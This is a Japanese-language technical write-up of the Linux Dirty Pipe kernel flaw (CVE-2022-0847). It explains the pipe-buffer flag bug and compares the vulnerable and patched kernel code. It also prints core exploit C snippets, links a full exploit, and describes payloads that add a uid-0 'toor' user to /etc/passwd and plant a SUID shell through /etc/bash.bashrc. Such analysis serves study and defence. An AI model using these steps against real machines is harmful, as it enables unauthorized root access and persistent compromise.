
CVE-2022-0847の悪用 - 著者 : Antonius (w1sdom)
Dirty Pipe(CVE-2022-0847)は、2022年にMax Kellermannによって発見された、Linux Kernel 5.8~5.15.24における最も重大なセキュリティ脆弱性の1つです。この脆弱性により、特別な権限を持たない一般ユーザーが、読み取り専用であるべきファイルのデータを上書きできるようになります。 中核となる概念の理解
Dirty Pipeについて詳しく説明する前に、理解しておくべきLinuxカーネルの内部概念をいくつか紹介します。
1. ページング
ページングは、Linuxカーネルのメモリ管理メカニズムであり、メモリシステムが物理メモリをページフレームと呼ばれる固定サイズの小さなブロックに分割し、仮想メモリを同じサイズのページと呼ばれるブロックに分割します。
このメカニズムにより、カーネルはプロセスの仮想アドレス空間を非連続的な方法で物理メモリにマッピングできるため、最新システムの効率性とセキュリティにとって極めて重要です。
2. ページ(仮想メモリ)
Linuxでは、ページはカーネルが扱う物理メモリ管理の最小単位です。
例え話:RAMは巨大な本のようなものです。ページはその本の1枚の紙です。カーネルはデータをビット単位で移動するのではなく、紙1枚単位(ページ単位)で移動します。
一般的に、最新のシステムアーキテクチャ(x86_64など)では、1ページの標準サイズは4 KB(4096バイト)です。
3. ページキャッシュ
これは極めて重要な部分です。Linuxはディスクから毎回直接ファイルを読み込むわけではありません。遅いからです。カーネルはファイルの内容をページキャッシュと呼ばれるRAMにコピーします。
4. パイプバッファ
パイプはプロセス間通信(IPC)メカニズムです。内部的には、カーネルはpipe_inode_infoデータ構造を使用してパイプを管理します。パイプ内のデータは、パイプバッファと呼ばれる「バッファ」に格納されます。
5. パイプバッファフラグ(PIPE_BUF_FLAG_CAN_MERGE)
PIPE_BUF_FLAG_CAN_MERGEフラグは、Linux Kernelバージョン5.8で導入されました。
ここに主な脆弱性が存在します。PIPE_BUF_FLAG_CAN_MERGEという名前のフラグです。
6. Splice
splice()は、カーネル空間とユーザー空間の間でデータをコピーせずに、2つのファイルディスクリプタ間でデータを移動するためのシステムコールです。これはしばしばゼロコピーメカニズムと呼ばれます。
splice()システムコールは、Dirty Pipeにおける「主役」です:
7. コピーオンライト(CoW)
コピーオンライト(CoW)メカニズムは、絶対に必要になるまでデータのコピーを遅延させるためにLinuxカーネルが使用するメモリ管理の最適化戦略です。
コピーオンライト(CoW)とDirty Pipeエクスプロイト(CVE-2022-0847)の関係は、Linuxカーネル内の小さなバグがCoWメカニズムをうまく「欺いて」、読み取り専用であるべきファイルにデータを書き込めるようにする仕組みにあります。
8. ダーティページ
ダーティページとは、アプリケーションによって変更されたが、まだ二次記憶装置(SSDやハードディスクなど)に書き戻されていないRAM内のメモリページのことです。
Dirty Pipe脆弱性の分析
Dirty Pipeは、Linuxカーネル5.8からLinuxカーネル5.15.24におけるパイプバッファ処理のロジックバグの一種です。 主な問題は、パイプメカニズム(プロセス間通信チャネル)と、カーネルがページキャッシュ(ディスクからファイルデータのコピーを格納するメモリ)を管理する方法にあります。 中核となる問題は、PIPE_BUF_FLAG_CAN_MERGEフラグのバグです。
主な問題は、カーネルがこのフラグを適切に再初期化できないこと(ロジックバグ)にあります。以下がコード分析です: バージョン5.16.11より前のLinuxカーネルのcopy_page_to_iter_pipe関数とpush_to_pipe関数では、splice操作を実行する際に、カーネルはpipe_buffer構造体を準備しますが、.flagsメンバーをクリーンアップすることを忘れています。
脆弱なコード構造:
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- THIS FLAG IS NOT RESET
unsigned long private;
};
パッチ適用前のコード(脆弱):
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------
}
パッチ適用後のコード(修正済み):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- TOTAL RESET TO ZERO
なぜbuf->flags = 0の方が特定のフラグを単にオフにするよりも優れているのでしょうか? pipe_bufferは再利用される構造体だからです。1つのフラグ(CAN_MERGE)だけをオフにした場合、以前のパイプ使用による他のガベージフラグ(PIPE_BUF_FLAG_GIFTやその他のカスタムフラグなど)が残ったままになり、奇妙な動作や将来の新たなセキュリティホールを引き起こす可能性があります。0に設定することで、バッファが完全に「クリーン」な状態になることが保証されます。
なぜこれをエクスプロイトできるのか?
以下がDirty Pipeのエクスプロイト手順です:
1. 汚染段階:攻撃者はwrite()でパイプにデータを挿入します。通常のwrite()操作はbuf->flags = PIPE_BUF_FLAG_CAN_MERGEを設定します。
2. 排出段階:攻撃者はそのデータを読み取ります。バッファは論理的に「空」になりますが、その構造はCAN_MERGEフラグがまだアクティブな状態でカーネルメモリに存在し続けます。
3. Splice段階:splice()システムコールが読み取り専用ファイルをパイプにマッピングすると、copy_page_to_iter_pipe()関数が呼び出されます。上記のバグにより、この関数はbuf->pageを元のファイルのメモリページで満たしますが、buf->flagsをリセットしません。
4. 実行:カーネルはこのファイルバッファをまだマージできると認識します。次回パイプに書き込むと、新しいバッファは作成されず、代わりに以前マッピングされたメモリページ(ページキャッシュ)が直接変更されます。
この時点で、攻撃者のデータは既にRAMに格納されています。RAM内でディスク上の内容と異なるページは「ダーティページ」と呼ばれます。 この段階に到達できれば、エクスプロイト成功を意味します!ページキャッシュが変更されると、その効果は即時的です。RAM内の/etc/passwdを上書きできれば、その瞬間にすぐsu rootを実行できます。
Dirty Pipeエクスプロイト
Dirty Pipeのエクスプロイトには、カーネルの保護を無効化する必要はありません。なぜなら、全てのカーネル保護はこのロジックバグを防ぐのに無関係だからです。 Dirty Pageロジックバグをエクスプロイトするために、私たちのエクスプロイトは以下の手順を実行します:
ステップ1. パイプを準備し、PIPE_BUF_FLAG_CAN_MERGEフラグをトリガーすることを目的としてパイプを満杯になるまで埋めます。
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
ステップ2. パイプを空にします。
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Dirty Pipeエクスプロイトの完全なエクスプロイトコード 完全なエクスプロイトコードはhttps://github.com/bluedragonsecurity/dirtypipe2で入手できます。
注意:完全なエクスプロイトコードには、カーネルバージョンの検証、パイプの準備、ペイロードの注入、および/etc/passwdと/etc/bash.bashrcを対象とした2つの異なるエクスプロイト方法の関数が含まれています。
エクスプロイト方法
上記のエクスプロイトは2つの異なるペイロードを使用しており、最初のペイロードが失敗した場合に2番目のペイロードが連鎖することを目的としています。
ペイロード1:/etc/passwdに書き込み、uid 0の新しいユーザー「toor」を追加します。このペイロードが成功すれば、すぐにrootシェルを取得できます。
ペイロード2:/tmp/xにSUID bashシェルを配置することを目的としています。特に2番目のペイロードは、システムのrootユーザーがログインするのを待つ必要があります。これは、SUIDシェルを配置するペイロードが/etc/bash.bashrcに注入されるためです。Linuxでは、/etc/bash.bashrcに含まれるコマンドは、システムにログインするすべてのユーザーによってログイン時に実行されます。
エクスプロイトのテスト
この例では、VirtualBox上のLubuntu 20.04.5で動作するLinuxカーネル5.13をゲストOSとして使用し、ホストOSはKali Linux 2025.4です。 Lubuntu 20.04.5マシンで、エクスプロイトをコンパイルします:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
参考文献